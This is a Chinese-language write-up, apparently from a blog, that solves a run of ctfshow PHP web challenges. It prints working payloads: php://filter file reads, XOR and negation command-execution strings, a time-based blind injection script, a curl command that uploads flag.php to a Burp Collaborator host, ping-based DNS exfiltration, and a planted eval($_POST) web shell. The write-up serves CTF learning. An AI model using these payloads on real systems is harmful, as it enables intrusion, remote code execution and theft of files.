考察的是变量覆盖,可以使用$GLOBALS来做这道题
?v1=ctfshow&v2=GLOBALS
过滤了伪协议中的一部分,但是例如convert.iconv.UCS-2LE.UCS-2BE、utf-8和utf-7这种编码的却没有过滤掉,而且这道题使用的函数是highlight_file函数,只能读取,不能写入
?file=php://filter//convert.iconv.utf-8.utf-7/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
既然没有限制,那直接读取就好了
?file=php://filter/resource=flag.php
除此之外,还可以使用
compress.zlib://flag.php #zlib://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
php://filter/read=convert.quoted-printable-encode/resource=flag.php
相较于上一题,过滤了filter,但是可以使用zlib://协议来做这道题
?file=compress.zlib://flag.php
看了官方的wp,发现还可以使用这种方法来绕过
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,这里看了很多师傅的wp,都是只记录了一个payload,找到了一个大师傅对于这个方法的解释
虽然过滤了root和compress,但是没有过滤掉filter,所以还是可以直接进行读取的
?file=php://filter/resource=flag.php
主要便是想办法绕过is_numeric和trim这两个函数,先来看一下trim这个函数的简单介绍
可以测试一下,看那些符号能同时满足这两个符号
<?php
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'36';
if(trim($x)!=='36' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
%2B、. 、-又都被过滤掉了,所以只能使用%0c
?num=%0C36
$_SERVER['argv']
这道题在测试的过程中,有两个地方有疑惑,第一个是$a=$_SERVER['argv'];
有什么用,第二个便是为什么$_POST['CTF_SHOW.COM']
无法传入参数
先来解决第二个问题,传入进去参数是因为PHP变量名应该只有数字字母下划线,而且GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
,但是有一个特性可以绕过,使变量名出现.
之类的特殊字符。
当以GET或POST方式传参时,变量名中的[
也会被替换为_
,而其后的字符就不会被替换了。
所以可以利用这个特性来进行传参
DATA:
CTF_SHOW=1&CTF[SHOW.COM=1
这样便可以传参成功了,接下来再看第第一个问题,$_SERVER['argv'];
有什么作用
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER['argv']才会有效果
这时候的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
$argv,$argc在web模式下不适用
在网页模式下运行的,$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
也就是$a[0]= $_SERVER[‘QUERY_STRING’],这时候只要通过 eval(“$c”.”;”);将$fl0g赋值flag_give_me就可以了
?$fl0g=flag_give_me;
DATA:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
除此之外,还可以直接输出flag
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)#本地测试可行
看了官方的wp,预期解应该是
a=1+fl0g=flag_give_me
DATA:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
本地测试出结果
<?php
$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
先要在php.ini开启register_argc_argv配置项
结果如下:
所以payload中调用的是$a[1]
parse_str解释如下:
过滤了上一关的非预期解,但是预期解还是可以使用的
?a=1+fl0g=flag_give_me
DATA:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
除此之外,还可以利用这种方法获取到flag
?1=flag.php
DATA:
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
与上一关相比较,多过滤g|i|f|c|o|d
,无法使用highlight_file函数,但是之前的预期解还是可以的
?a=1+fl0g=flag_give_me
DATA:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
或
?$fl0g=flag_give_me;
DATA:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
先了解一下extract这个函数,跟上面使用的parsestr函数类似
接下来的问题便是如何让$ctf_show==='ilove36d'
,虽然过滤了`,但是前几天中已经遇到过类似的这种题目,GET或POST方式传进去的变量名,会自动将空格
+ . [转换为
`
这里空格还没有被过滤掉,所以可以使用空格来替代
?ctf show=ilove36d
这题是真的一点思路都没有,只能看官方的wp了,这道题涉及到的是php中的gettext的用法,先了解一下
php的扩展gettext实现程序的国际化
_()是gettext()
函数的简写形式,那既然变量f1过滤数字和字母,就可以使用该符号来代替这个函数,这样便可以绕过第一个嵌套,然后再由最外面的call_user_func执行命令
call_user_func(call_user_func('_','phpinfo'))=>call_user_func('phpinfo')
虽然该函数会报错
‘
但是还是会继续执行,不会停止,这时候便会执行phpinfo这个命令,但这里要获取flag,就需要再了解一个函数get_defined_vars
已知包含了flag.php。而flag.php肯定包含已定义好的变量列表的多维数组,故payload:
?f1=_&f2=get_defined_vars
只要满足stripos就好了,其他也没有任何限制,可以使用伪协议
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
这题无法使用stripos遇到数组无法处理返回NULL,因为if条件是>0
但是这里可以利用目录穿越漏洞绕过 stripos 检测字符
?f=/ctfshow/../../var/www/html/flag.php
?f=./ctfshow/../flag.php
preg_match只能处理字符串,当传入的subject是数组时会返回false,而stripos遇到数组返回false
DATA:
f[]=ctfshow
但是提示是very\very,这里应该考察的是利用正则最大回溯次数绕过
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限
回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF
import requests
url = 'http://3638bf4e-f63d-477c-95eb-ba023f279de8.chall.ctf.show:8080/'
data = {
'f':'very'*250000+'ctfshow'
}
reponse = requests.post(url,data=data)
print(reponse.text)
但这里没有复现成功,不知道是哪里的问题,可以看师傅的博客
与上一关唯一不同的便是$f = (String)$_POST['f'];
,多了一个String,便无法使用数组来做这道题,但可以使用上面提到的使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF
import requests
url = 'http://bc80527d-2256-4e0a-8637-1687c33494b4.chall.ctf.show:8080/'
data = {
'f':'very'*250000+'36Dctfshow'
}
reponse = requests.post(url,data=data)
print(reponse.text)
因为substr函数的限制只能读取前6个字符执行命令。而且禁用了命令执行的相关函数,也没有写入权限。看了师傅的WP,这道题主要考察的是命令执行的骚操作和curl -F的使用
如果传递的参数是$F本身,会不会出现变量覆盖那
?F=`$F `;sleep 3
substr函数截取前六位得到的是`$F `;
然后$F便是输出的`$F `;sleep 3,故最后执行的代码是
``$F `;sleep 3`
``是shell_exec()函数的缩写
发现curl并没有被过滤,便可以利用curl带出flag.php,curl -F 将flag文件上传到Burp的 Collaborator Client( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
payload:
?F=`$F `;curl -X POST -F Sn0w=@flag.php 1216a307cv2bgog6aua6lmje157vvk.burpcollaborator.net
这里要解释一下
#其中-F 为带文件的形式发送post请求
#Sn0w是上传文件的name值,flag.php就是上传的文件
其实原理很简单,相当于这台服务器上传文件传输到burp的Collaborator Client
代码中同时含有parse_str和extract($_POST)
考察的应该便是变量覆盖,可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:
?_POST[key1]=36d&_POST[key2]=36d
跟web133一样,但是过滤的内容增加了,仔细查看发现ping命令并没有被过滤掉,可以测试一下
?F=`$F `;ping `whoami`.8x5dib.dnslog.cn
可以利用,那么接下来就想办法去读取到flag,读取的命令大多也被过滤掉了,但是sed、awk还没被过滤,尝试一下发现都无法进行读取
?F=`$F `;ping `awk '/flag/' flag.php`.8x5dib.dnslog.cn
查资料发现读取文件常用的还有这个
读取一下也没有回显,考虑下重定向写入文件试试
?F=`$F `;ping `nl flag.php>>Sn0w.txt`
并没有限制写入文件,所以即可没有任何写入限制,那payload就很多了
?F=`$F`; cp flag.php Sn0w.txt
?F=`$F`; mv flag.php Sn0w.txt
这道题几乎都过滤掉了,看了WP发现是考察linux中的tee命令
tee
命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
tee file1 file2 //复制文件
ls|tee Sn0w.txt //命令输出
?c=ls /|tee Sn0w
在url后面请求Sn0w文件
发现有flag文件,读取即可
?c=cat /f149_15_h3r3|tee Sn0w
考察的点应该便是call_user_func函数调用类中的函数,这里举一个简单的例子
class Test
{
static public function getS()
{
echo "123";
}
}
相当于
call_user_func(array('Test','getS'));
#输出结果
123
定义一个类Test及类方法getS,call_user_func的输入参数变为一个数组,数组第一个元素为对象名、第二个元素为参数
#如果不加static,数据会出现,但是有可能会报错
所以就很简单了,只要调用类中的函数即可,这里需要用到双冒号操作符(即作用域限定操作符可以访问静态、const和类中重写的属性与方法。
在类定义外使用的话,使用类名调用。在PHP 5.3.0,可以使用变量代替类名。)
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
除此之外,还可以使用::
DATA:
ctfshow=ctfshow::getFlag
补充一下-> => :: $this->
的作用
->用来引用一个类的属性(变量)、方法(函数)
=>是用来定义数组
::直接调用类中的属性或方法
$this->表示实例化后的具体对象
先了解一下strripos这个函数
发现也没有相应的漏洞,那就还从call_user_func这个函数本身入手,便可以利用上一道提到的方法
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
和之前的web136题一样,但是没有了写入权限,所以没有回显,但是可以通过延时来注出字符
import requests
import time
import string
import datetime
if __name__ == "__main__":
url = "http://2c2d57e8-66bb-49b9-b574-01b5f14eadd7.chall.ctf.show:8080/"
chars=string.ascii_letters+string.digits+'_'
for i in range(1,15):
name = ''
for j in range(1,15):
for char in chars:
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 1;fi".format(i, j, char)
t1=datetime.datetime.now()
urls = url+"?c="+payload
r=requests.get(url=urls)
t2=datetime.datetime.now()
sec = (t2 - t1).seconds
if sec>=1:
name+=char
print(name)
break
if char=='':
break
得到文件名,接下来就读取文件就可以了,将payload更改一下即可
payload = "if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(i, char)
==
弱类型比较,只要让$code是字符或数字即可
f1=system&f2=phpinfo
/^W+$
作用是匹配非数字字母下划线的字符,只要能绕过return便可以获取到flag
在PHP中数字和命令可以进行运算
**
所以可以利用这个特性,结合取反来构造相应的payload
?v1=2&v2=2&v3=%(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)%
#%8C%86%8C%8B%9A%92
system
#%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F
cat flag.php
?v1=0
和web141差不多一样,只不过增加了过滤,过滤了~取反符号,但发现并没有过滤掉^,也就是说可以使用异或来做这道题,参考师傅的脚本
<?php
$myfile = fopen("xor_rce","w");
$contents = "";
for ($i=0; $i<256; $i++) {
for ($j=0; $j<256; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
#补零是为了防止hex2bin函数报错
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i';#更改题目中对应的正则表达式
if(preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))){
echo "";
}
else{
$a = '%'.$hex_i;
$b = '%'.$hex_j;
$c = (urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126){
$contents = $contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
生成一个字典后,再使用如下字典将每个字符进行匹配,看那两个异或后可以生成我们相要的字符
# coding=gbk
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
字符可以与数字进行运算,这里没有过滤掉*,所以还可以用
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")*
考察的和Web141一样,但是这里参数的位置变了if(is_numeric($v1) && check($v3))
preg_match('/^\W+$/', $v2)
除此之外,也没有任何过滤了,payload如下:
?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")&v3=*
过滤了运算符,过滤了异或符号,但是没过滤取反符号,这道题和上一道题的check函数比较像,考察了三目运算符
return 1?phpinfo():1
故payload为:
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):
过滤了三目运算符,但没有过滤=和|,所以可以利用这两个符号构造payload
测试发现这样构造可以让phpinfo()正常回显,所以payload就很好构造了
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)||&v2=1
除此之外还可以这样进行构造
既然没有过滤掉|,所以使用这种构造方法也可以,但注意这道题将双引号给过滤了,所以脚本生成的双引号替换成单引号即可
?v1=1&v2=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
先fuzz测试一下看看是否能在函数名的头或者尾找一个字符,不影响函数调用
#字典
<?php
for ($i=0; $i<256; $i++) {
if($i<16){
$hex_i='0'.dechex($i);
print($hex_i);
print("\n");
}
else{
$hex_i=dechex($i);
print($hex_i);
print("\n");
}
}
经过fuzz测试发现,%5c可以使用
之所以%5c能够绕过正则表达式,是因为在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
接下来便是要考虑用什么函数来只控制第二个参数执行命令的问题,这里可以使用create_function,第一个参数是参数,第二个参数是内容,函数结构类似:
create_function('$a,$b','return 111')
相当于如下:
function a($a, $b){
return 111;
}
所以那如果我们这样进行构造payload
create_function('$a,$b','return 111;}phpinfo();//')
function a($a, $b){
return 111;}phpinfo();//
}
phpinfo()便会被执行,所以根据这个思路来进行构造payload
?show=echo Sn0w;}system('cat f*');//
DATA:
ctf=%5ccreate_function
没有过滤^,直接异或即可
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");
写一个多线程脚本,一边跑一边读
import requests
import threading
url = "http://ae3929ad-8f8f-4dc5-88c9-511d15e5625d.chall.ctf.show:8080/"
def write():
while event.isSet():
data = {
'show':'<?php system("ls /");?>'
}
W_reponse = requests.post(url+"?ctf=1.php",data=data)
def read():
while event.isSet():
R_reponse = requests.get(url+"1.php")
if R_reponse.status_code != 404:
print(R_reponse.text)
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
# 通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
# 将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()
for i in range(1, 100):
threading.Thread(target=read).start()
再更改语句读取ctfshow_fl0g_here.txt即可
除此之外,这道题还有一个非预期,直接向index.php文件中写入内容
?ctf=index.php
DATA:
show=<?php eval($_POST['a']);?>
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 100.00 | 0 | 2021-02-18 10:10:33 | 感谢分享~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.